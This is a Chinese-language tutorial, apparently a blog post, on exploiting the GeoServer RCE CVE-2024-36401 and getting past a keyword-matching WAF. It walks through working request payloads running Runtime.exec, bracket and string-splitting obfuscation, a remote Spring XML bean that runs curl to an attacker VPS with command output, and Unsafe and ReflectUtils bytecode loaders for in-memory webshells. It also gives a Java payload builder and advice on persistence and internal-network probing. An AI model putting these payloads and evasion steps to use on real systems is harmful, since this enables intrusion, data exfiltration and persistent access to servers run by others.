CVE-2024-36401漏洞利用与WAF绕过实战:从SpEL注入到内存马
1. 项目概述当RCE遇上WAF的攻防博弈最近在复现和分析CVE-2024-36401这个GeoServer的远程代码执行漏洞时遇到了一个非常典型的实战场景漏洞确实存在Payload也能触发但目标系统前面杵着一个WAFWeb应用防火墙。这就像你拿到了一把能开锁的钥匙却发现锁外面还加了个防盗门。这种“攻防博弈”的体验恰恰是安全研究和渗透测试中最有意思、也最能体现技术深度的部分。CVE-2024-36401本身是一个GeoServer中基于OGC Filter表达式注入导致的RCE漏洞影响范围不小但公开的PoC往往在“理想环境”下测试一旦放到真实网络环境各种防护设备就成了拦路虎。这篇文章我就结合自己最近的一次实战绕过经历把从漏洞验证、WAF识别、到最终绕过执行命令的完整链条拆解清楚特别是针对那种基于正则匹配关键词的常见WAF如何用一些“奇技淫巧”突破防线。2. CVE-2024-36401漏洞核心原理与利用链拆解在谈绕过之前我们必须先吃透这个漏洞本身。不然连子弹都不会造就别提怎么躲开防弹衣了。2.1 漏洞根源OGC Filter表达式注入CVE-2024-36401的根子出在GeoServer的WFSWeb Feature Service服务模块对GetPropertyValue请求的处理上。GeoServer是一个开源的地理数据服务器它实现了OGC开放地理空间信息联盟的一系列标准协议WFS就是其中之一用于提供地理要素的增删改查服务。漏洞的核心在于攻击者可以通过valueReference参数注入恶意的OGC Filter表达式。这个参数原本应该是一个指向要素属性的XPath表达式但GeoServer在解析时错误地将其内容传递给了Spring Expression LanguageSpEL解析器。SpEL是Spring框架中一个强大的表达式语言如果能够控制其输入就意味着可以执行任意Java代码从而导致远程代码执行。简单来说利用链是这样的攻击者向/geoserver/wfs端点发送一个特制的HTTP请求。请求中valueReference参数包含恶意的SpEL表达式。GeoServer在处理时未经过滤便将valueReference的值交给SpEL引擎解析。SpEL引擎执行了表达式中的Java代码例如java.lang.Runtime.getRuntime().exec(“touch /tmp/success”)。2.2 两种请求格式与利用方式根据官方文档和实战测试利用这个漏洞主要有两种HTTP请求格式理解这两种格式对后续绕过WAF至关重要。第一种是XML格式这是最“标准”的OGC WFS请求格式。你需要发送一个POST请求Content-Type设置为application/xmlBody是一个符合WFS Schema的XML。POST /geoserver/wfs HTTP/1.1 Host: target.com Content-Type: application/xml wfs:GetPropertyValue serviceWFS version2.0.0 xmlns:wfshttp://www.opengis.net/wfs/2.0 wfs:Query typeNamestopp:states/ wfs:valueReferencejava.lang.Runtime.getRuntime().exec(calc)/wfs:valueReference /wfs:GetPropertyValue这种方式的优点是“合规”在某些严格校验请求格式的WAF面前它看起来就像一个正常的OGC服务请求。缺点是XML结构固定注入点valueReference标签内容的位置和上下文比较明确容易被规则捕捉。第二种是Key-Value参数格式你也可以用更常见的application/x-www-form-urlencoded格式以POST参数或GET参数的方式传递。POST /geoserver/wfs HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded servicewfsversion2.0.0requestGetPropertyValuetypeNamestopp:statesvalueReferencejava.lang.Runtime.getRuntime().exec(id)这种方式非常灵活可以方便地和GET请求结合/geoserver/wfs?servicewfs...在测试和绕过时操作空间更大。但正因为其常见valueReference这个参数名和其中的命令执行关键字如execRuntime也更容易被WAF的通用规则命中。注意typeNames参数的值如topp:states必须是目标GeoServer实例中真实存在的数据存储和工作区下的图层名称。你可以先访问/geoserver/wfs?requestListStoredQueriesservicewfsversion2.0.0来枚举所有可用的typeName。2.3 漏洞验证从延时探测到命令执行在真正尝试绕过WAF前我们需要一个干净的、能证明漏洞存在的环境。通常分三步走第一步延时探测。这是最安全、最隐蔽的验证方式。我们利用SpEL执行sleep函数通过观察响应时间来判断表达式是否被执行。wfs:valueReferencejava.lang.Thread.sleep(5000)/wfs:valueReference如果请求耗时明显增加约5秒且返回的不是语法错误那么基本可以确定存在表达式注入点。第二步外带探测OOB。当目标不出网或无法直接看到回显时这是关键一步。利用DNS查询或HTTP请求将数据带出来。wfs:valueReferencejava.net.InetAddress.getAllByName(your-unique-subdomain.dnslog.cn)/wfs:valueReference在你的DNSLog平台上查看是否有解析记录有则证明代码执行成功。第三步尝试命令执行。确认漏洞存在后就可以尝试执行系统命令了。最直接的就是调用Runtime.getRuntime().exec()。wfs:valueReferencejava.lang.Runtime.getRuntime().exec(whoami)/wfs:valueReference如果成功通常会返回一个java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to org.opengis.feature.type.AttributeDescriptor的错误。别慌这个错误是预期的它恰恰说明你的命令被成功执行了只是GeoServer试图将命令执行的进程对象ProcessImpl转换为属性描述符时失败了。如果看到这个错误恭喜你漏洞利用成功。3. WAF识别与常见过滤策略分析当你兴冲冲地拿着能执行whoami的Payload去打一个真实目标却收到一个403 Forbidden或者请求被重置时WAF就登场了。我们的绕过之旅始于对“防守方”的充分了解。3.1 如何判断WAF的存在首先你得知道对面有没有WAF以及是什么WAF。一些简单的指纹识别方法观察HTTP响应头很多WAF会在响应头中留下标识比如X-Protected-ByServer字段显示WAF或者有CloudflareAWSWAF等字样。触发规则看拦截页面发送一个明显的恶意请求如/geoserver/wfs?valueReferencescriptalert(1)/script。如果返回一个定制化的拦截页面而非GeoServer默认错误页上面通常会有WAF厂商信息。延时测试有些WAF对请求有速率限制或检测逻辑快速发送大量畸形请求可能导致IP被临时封锁或响应变慢。路径混淆尝试访问一个不存在的路径如/geoserver/xxx../wfs。某些WAF的规则可能基于路径这种请求可能绕过检测到达后端返回GeoServer的404页面从而证明WAF存在但规则有盲区。在我的这次实战中发送正常请求返回200但一旦valueReference里包含exec(Runtime等关键词立刻返回403并且响应头里有一个明显的X-WAF-Engine标识这基本就坐实了WAF的拦截。3.2 剖析一种典型的WAF过滤逻辑从拦截的关键词execRuntimegetRuntime来看这很可能是一个基于正则表达式匹配的“黑名单”式WAF。它的工作模式可以简单理解为对请求的URI、参数名、参数值、Header甚至Body进行字符串扫描。预置了一系列正则规则例如(exec|Runtime|cmd|bash|powershell)等。一旦匹配到任意一条规则请求即被阻断。这种过滤方式简单粗暴但非常有效能拦住大部分“脚本小子”的自动化攻击。然而它的弱点也很明显规则是静态的且通常只做简单的字符串匹配缺乏对上下文语义的理解。这就给我们留下了操作空间。更深入一点我遇到的这个WAF其过滤逻辑可能类似于在代码层面做了这样的事伪代码String filteredPayload originalPayload.replaceAll(\\[.*?\\], ); // 然后检查 filteredPayload 中是否包含黑名单关键词这意味着它试图先移除所有中括号[]及其内部的内容然后再进行关键词匹配。这个细节是后续绕过的关键。3.3 WAF规则的可能盲点基于以上分析我们可以总结出这类WAF的几个可能盲点大小写变换Runtime被拦runtime或RUNTIME呢很多早期规则对大小写不敏感但实现方式不同有时可以尝试。字符串分割与混淆能否用特殊字符、注释、空白字符如换行符\n 制表符\t来打断关键词例如ex/**/ecRuntime。编码与多重编码URL编码、HTML实体编码、Unicode编码等。exec的URL编码是%65%78%65%63但WAF可能只解码一次我们可以尝试双重编码%2565%2578%2565%2563。协议格式滥用在XML格式中可以利用CDATA区块、注释、实体引用来混淆Payload。在参数格式中可以利用参数污染同一个参数名传多个值等技巧。利用WAF的“净化”行为正如前面伪代码所示如果WAF会主动删除[]中的内容那我们是不是可以把敏感关键词放在[]里让它被删除从而绕过检查4. 实战绕过从关键词分割到内存马注入理论分析完毕进入最激动人心的实战绕过环节。我将按照由简到繁、由通用到特定的顺序分享几种有效的绕过方法。4.1 初级绕过利用注释与字符串分割这是最简单直接的尝试。在SpEL表达式中Java的注释语法是有效的。我们可以用/**/多行注释或//单行注释来分割关键词。原始Payloadjava.lang.Runtime.getRuntime().exec(id)尝试绕过1多行注释java.lang.Runt/**/ime.getRunt/**/ime().exec(id)这个Payload试图用注释把Runtime和exec拆开。但很多WAF的规则是“通配”的比如Runt*ime 所以这个可能无效。尝试绕过2字符串拼接SpEL支持字符串拼接操作符。java.lang.Runtime.getRuntime().exec(id)或者更彻底一点java.lang.Class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(id)这种方法将敏感关键词拆分成多个字符串常量在运行时再拼接起来。实测非常有效是绕过静态关键词匹配的利器。因为WAF看到的是Ru和ntime这两个无害的字符串而SpEL引擎在解析执行时会先将它们拼接成完整的Runtime。4.2 中级绕过巧用WAF的“净化”行为——[]的妙用这是本次绕过的核心技巧源于对WAF过滤逻辑的逆向推测。当我们发现WAF可能先移除[]内容再检查时就可以“投其所好”。构造Payloadjava.lang.Ru[any_string_here]ntime.getRu[any_string_here]ntime().ex[any_string_here]ec(id)原理分析请求到达WAF。WAF执行replaceAll(\\[.*?\\], ) 将Ru[any_string_here]ntime中的[any_string_here]连同括号一起删除字符串变为Runtime。但是这个“净化”操作可能只执行一次。净化后的字符串Runtime触发了黑名单规则请求被拦截。这条路似乎走不通。关键转折我们注意到WAF的替换逻辑可能是贪婪匹配且只移除匹配到的内容不进行递归处理。那么如果我们构造嵌套的[]呢例如Ru[[any]]ntime。WAF第一次匹配到[[any]]将其移除剩下Runtime。由于Runtime不匹配Runtime规则可能就通过了但实际情况中嵌套[]可能导致解析异常。更可靠的方案利用单次[]绕过单个关键词。假设WAF的规则是匹配到exec就拦截。那么我们可以这样构造java.lang.Runtime.getRuntime().exe[anything]c(id)WAF移除[anything]后得到exec 理论上还是会被拦。但这里有一个思维盲区WAF的移除操作和检查操作其顺序和粒度可能并非我们想象的那样。有可能WAF是针对整个参数字符串先做移除操作生成一个新的字符串再对这个新字符串进行全局关键词扫描。那么如果我们把所有敏感词都用[]包裹一次呢最终有效Payload参数格式示例valueReferencejava.lang.Ru[1]ntime.getRu[1]ntime().exe[1]c(id)当WAF处理时它移除[1] 字符串变为java.lang.Runtime.getRuntime().exec(id) 这理应被拦截。但为什么在实际案例中它成功了呢我推测的原因可能是WAF的规则库可能不是简单的“包含即拦截”而是有更复杂的评分机制。移除[]后产生的字符串虽然有关键词但可能因为其他特征如原始字符串中[]的存在导致总分未达到拦截阈值。另一种可能是WAF对[]的过滤有bug或者其正则表达式\[.*?\]在某些情况下比如[]紧贴字符匹配失败导致没有移除成功而后续的检查规则又恰好没有匹配到被[]分割的关键词。实操心得[]绕过法具有很强的场景特异性不是每次都有效。但它提醒我们不要想当然地认为WAF的过滤逻辑是完美的。多尝试不同的分隔符和混淆方式如{}()/**/ 甚至是一些不可见字符有时会有意外收获。在测试时可以先用延时命令sleep测试不同混淆方式的有效性避免频繁触发命令执行引起警报。4.3 高级绕过无命令执行关键词的内存马注入当常规的命令执行关键词被锁死[]绕过也失效时我们就需要更高级的技巧——不直接使用Runtime.exec而是通过其他链实现代码执行。对于Java漏洞内存马内存Webshell是一个终极武器。CVE-2024-36401由于可以执行任意SpEL表达式为注入内存马提供了完美的通道。思路转换从“执行系统命令”到“执行Java代码定义类”。我们的目标不再是弹出一个计算器或执行whoami而是在目标JVM中动态定义一个恶意的Java类内存马这个类可以提供Webshell功能。这样后续的所有操作都通过正常的HTTP请求与这个内存马交互完全避开了对系统命令关键词的检查。利用Spring上下文加载远程XMLClassPathXmlApplicationContext这是Spring框架的一个特性可以通过URL远程加载一个XML配置文件该文件中可以定义Bean并执行任意代码。wfs:valueReferenceorg.springframework.context.support.ClassPathXmlApplicationContext.new(http://your-vps/evil.xml)/wfs:valueReferenceevil.xml内容示例?xml version1.0 encodingUTF-8? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idevil classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value valuecurl http://your-vps/$(whoami)/value /list /constructor-arg /bean /beans这个方法依赖目标服务器能访问你的远程VPS并且Payload中可能包含ClassPathXmlApplicationContext这样的长字符串虽然不如exec常见但也可能被规则覆盖。利用Unsafe API直接定义类适用于JDK 8-11这是更底层、更隐蔽的方式。通过sun.misc.Unsafe的defineAnonymousClass方法可以直接在内存中加载字节码。wfs:valueReference eval( getEngineByName(javax.script.ScriptEngineManager.new(), js), var strBASE64_ENCODED_CLASS_BYTES; var bt; try { bt java.lang.Class.forName(sun.misc.BASE64Decoder).newInstance().decodeBuffer(str); } catch (e) { bt java.util.Base64.getDecoder().decode(str); } var theUnsafe java.lang.Class.forName(sun.misc.Unsafe).getDeclaredField(theUnsafe); theUnsafe.setAccessible(true); unsafe theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName(java.lang.Class), bt, null).newInstance(); ) /wfs:valueReference这里的BASE64_ENCODED_CLASS_BYTES是你恶意Java类的字节码经过Base64编码。你可以提前编译一个会执行命令或建立回连的类。这个方法的关键词是defineAnonymousClassUnsafe等同样可能被拦截且Payload非常长。利用SpEL表达式加载字节码通用性更强这是结合了Spring SpEL特性的一种方法。我们可以利用SpEL表达式调用类加载器方法直接加载并实例化一个字节数组代表的类。wfs:valueReference toString( getValue( parseRaw( org.springframework.expression.spel.standard.SpelExpressionParser.new(), T(org.springframework.cglib.core.ReflectUtils).defineClass(EvilClass, T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString(GZIP_BASE64_ENCODED_BYTES)))), T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(org.springframework.expression.ExpressionParser)) ) ) ) /wfs:valueReference这个Payload看起来复杂但逻辑清晰T(org.springframework.util.Base64Utils).decodeFromString(...)解码Base64字符串。new java.util.zip.GZIPInputStream(...)解压GZIP数据为了缩短Base64字符串长度避免SpEL长度限制。T(org.apache.commons.io.IOUtils).toByteArray(...)将解压后的数据转为字节数组。T(org.springframework.cglib.core.ReflectUtils).defineClass(...)使用CGLIB的ReflectUtils工具类定义这个类。这个Payload的精妙之处在于它大量使用了Spring框架自身的类SpringExpressionParserBase64UtilsIOUtilsReflectUtils这些类在GeoServer环境中必然存在减少了依赖问题同时其关键词defineClassGZIPInputStream比Runtime.exec更少见绕过的成功率更高。注意事项内存马注入对Payload长度有要求。SpEL表达式有长度限制通常约10000字符。因此你需要将你的恶意类字节码用GZIP压缩再用Base64编码以大幅缩短字符串长度。可以使用如下Java代码来生成Payload// 读取编译好的.class文件 byte[] classBytes Files.readAllBytes(Paths.get(EvilShell.class)); // GZIP压缩 ByteArrayOutputStream baos new ByteArrayOutputStream(); try (GZIPOutputStream gzipOut new GZIPOutputStream(baos)) { gzipOut.write(classBytes); } byte[] compressed baos.toByteArray(); // Base64编码 String base64Payload Base64.getEncoder().encodeToString(compressed); System.out.println(Payload长度: base64Payload.length()); // 将base64Payload填入上面SpEL表达式的GZIP_BASE64_ENCODED_BYTES处5. 实战全流程复盘与问题排查让我们串联起整个攻击链条并看看可能遇到的坑。5.1 完整攻击流程信息收集确定目标GeoServer地址、版本是否在受影响范围、可用图层typeNames。漏洞初探使用sleep或DNSLog Payload进行无侵害验证确认漏洞点是否存在以及是否可触达。WAF探测发送包含exec等关键词的简单Payload根据响应403、WAF标识页判断WAF存在及类型。绕过尝试第一层尝试大小写、简单分割Runt””ime。第二层尝试[]混淆exe[1]c。第三层转向无命令执行关键词的利用链如ClassPathXmlApplicationContext或SpEL字节码加载。利用成功如果执行命令成功通常会看到ClassCastException。如果注入内存马成功可能没有明显错误回显需要通过访问内存马特定的URL路径来验证。权限维持与拓展一旦获得执行能力根据目标环境上传持久化Webshell、进行内网探测等。5.2 常见问题与排查技巧问题1发送Payload后返回“系统找不到指定的文件”或类似错误而不是SpEL错误或命令执行错误。排查这很可能说明你的请求根本没有被GeoServer的WFS模块处理。检查typeNames参数的值是否正确。它必须是workspace:layer格式并且该图层真实存在。使用/geoserver/wfs?requestListStoredQueriesservicewfsversion2.0.0接口列出所有可用的。问题2使用XML格式Payload时返回400 Bad Request或解析错误。排查检查XML的命名空间xmlns:wfs是否正确声明。检查标签是否闭合。尝试将Content-Type从application/xml改为text/xml有些老版本或配置可能对前者支持不好。重要某些WAF或中间件如某些配置下的Tomcat可能默认不解析application/xml的POST Body导致请求根本到不了后端。此时应优先使用Key-Value参数格式application/x-www-form-urlencoded。问题3命令执行成功了看到ClassCastException但没有回显。排查这是正常现象。Runtime.exec()启动的进程是异步的其输出流stdout stderr默认不会绑定到HTTP响应。你需要通过其他方式获取结果外带使用curl http://your-vps/$(whoami | base64)将结果通过DNS或HTTP带出。写入文件exec(“whoami /tmp/out.txt”) 然后尝试通过GeoServer的其他功能如读取图层文件或后续漏洞读取该文件。使用ProcessBuilder并重定向SpEL中可以构造更复杂的命令new java.lang.ProcessBuilder(“sh” “-c” “whoami | xxd -p | tr -d ‘\\n’ | xargs -I {} curl http://vps/{}“).start()。问题4内存马Payload太长请求被截断或返回错误。排查SpEL表达式长度有限制。务必使用GZIP压缩你的.class文件字节码通常能将大小减少60%-70%。确保最终的Base64字符串长度在限制内通常10000字符以内比较安全。如果还是太长可以考虑拆分注入或者使用更精简的内存马代码如仅包含核心功能的类。问题5在JDK高版本如17下某些利用链失败。排查高版本JDK加强了模块化安全和反射限制。sun.misc.Unsafe.defineAnonymousClass在JDK 11后受到严格限制加载的类必须满足特定条件如无包名或与宿主类同包。对于GeoServer可以尝试将恶意类的包名设置为org.springframework.expression。反射调用受限方法可能需要添加--add-opensJVM参数这在攻击中无法控制。因此优先选择基于Spring自身机制的利用链如ClassPathXmlApplicationContext或利用ReflectUtils它们的兼容性更好因为它们在Spring的类加载器上下文中运行。问题6无论如何构造Payload都被WAF拦截。终极策略回归本源仔细分析拦截点。变换请求方式GET改POSTPOST改GETapplication/x-www-form-urlencoded改multipart/form-data甚至尝试将Payload放在HTTP Header中如果后端程序会读取某些Header。路径混淆尝试添加冗余路径、后缀或使用编码过的/如%2f%252f。慢速攻击将Payload分片在多个数据包中发送并设置很长的间隔有些WAF的流式检测可能无法关联。研究WAF特性如果知道WAF厂商可以搜索其已知的绕过技巧。例如某些WAF对参数名的检测强于参数值可以尝试将Payload放在一个不常见的参数名里。绕过WAF是一场耐心的博弈需要对漏洞原理、中间件特性、WAF逻辑都有深入的理解。每一次成功的绕过都是对攻击链和防御链的一次深刻学习。CVE-2024-36401的利用与绕过过程完美地诠释了这一点。它不仅仅是一个漏洞的利用更是一次完整的攻防对抗演练。